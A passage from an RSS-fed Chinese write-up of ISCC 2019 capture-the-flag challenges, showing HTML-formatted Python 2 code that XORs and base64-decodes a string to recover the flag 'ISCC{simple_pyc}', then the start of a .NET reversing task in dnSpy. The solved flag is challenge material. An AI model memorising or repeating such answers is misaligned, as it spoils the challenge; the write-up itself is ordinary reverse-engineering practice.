<div id="crayon-5d0fe351b3c22818994869-5" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-v">s</span> <span class="crayon-o">+=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span> <span class="crayon-cn">32</span><span class="crayon-o">+</span> <span class="crayon-cn">16</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64encode</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-7" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c22818994869-8" class="crayon-line crayon-striped-line"><span class="crayon-e">def </span><span class="crayon-e">decode</span><span class="crayon-sy">(</span><span class="crayon-v">code</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-9" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">res</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c22818994869-10" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64decode</span><span class="crayon-sy">(</span><span class="crayon-v">code</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-11" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">s</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-12" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">res</span><span class="crayon-o">+=</span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span><span class="crayon-cn">32</span><span class="crayon-o">+</span><span class="crayon-cn">16</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-13" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-e">res</span></div>
<div id="crayon-5d0fe351b3c22818994869-14" class="crayon-line crayon-striped-line"><span class="crayon-e">    </span></div>
<div id="crayon-5d0fe351b3c22818994869-15" class="crayon-line"><span class="crayon-e">    </span></div>
<div id="crayon-5d0fe351b3c22818994869-16" class="crayon-line crayon-striped-line"><span class="crayon-e">print </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;A&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-17" class="crayon-line"><span class="crayon-i">print</span> <span class="crayon-s">&#8220;&#8212;&#8212;&#8220;</span></div>
<div id="crayon-5d0fe351b3c22818994869-18" class="crayon-line crayon-striped-line"><span class="crayon-e">print </span><span class="crayon-e">decode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;eYNzc2tjWV1gXFWPYGlTbQ==&#8217;</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190508174145.png"><img src="https://y4er.com/img/uploads/20190508174145.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span><span class="md-plain">脚本写的像屎，将就看，解密出来win和Linux的编码不一样，显示都不全，最后flag还得靠猜</span><span spellcheck="false"><code>ISCC{simple_pyc}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Rev02</span></h1>
<p class="md-end-block md-p"><span class="md-plain">.net程序 放到dnspy中</span></p>
<div class="post-image"><img loading="lazy" class="alignnone size-medium" src="https://y4er.com/img/uploads/20190508175431.png" alt="ISCC 2019部分writeup-ChaBug安全" width="1625" height="913" /></div>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
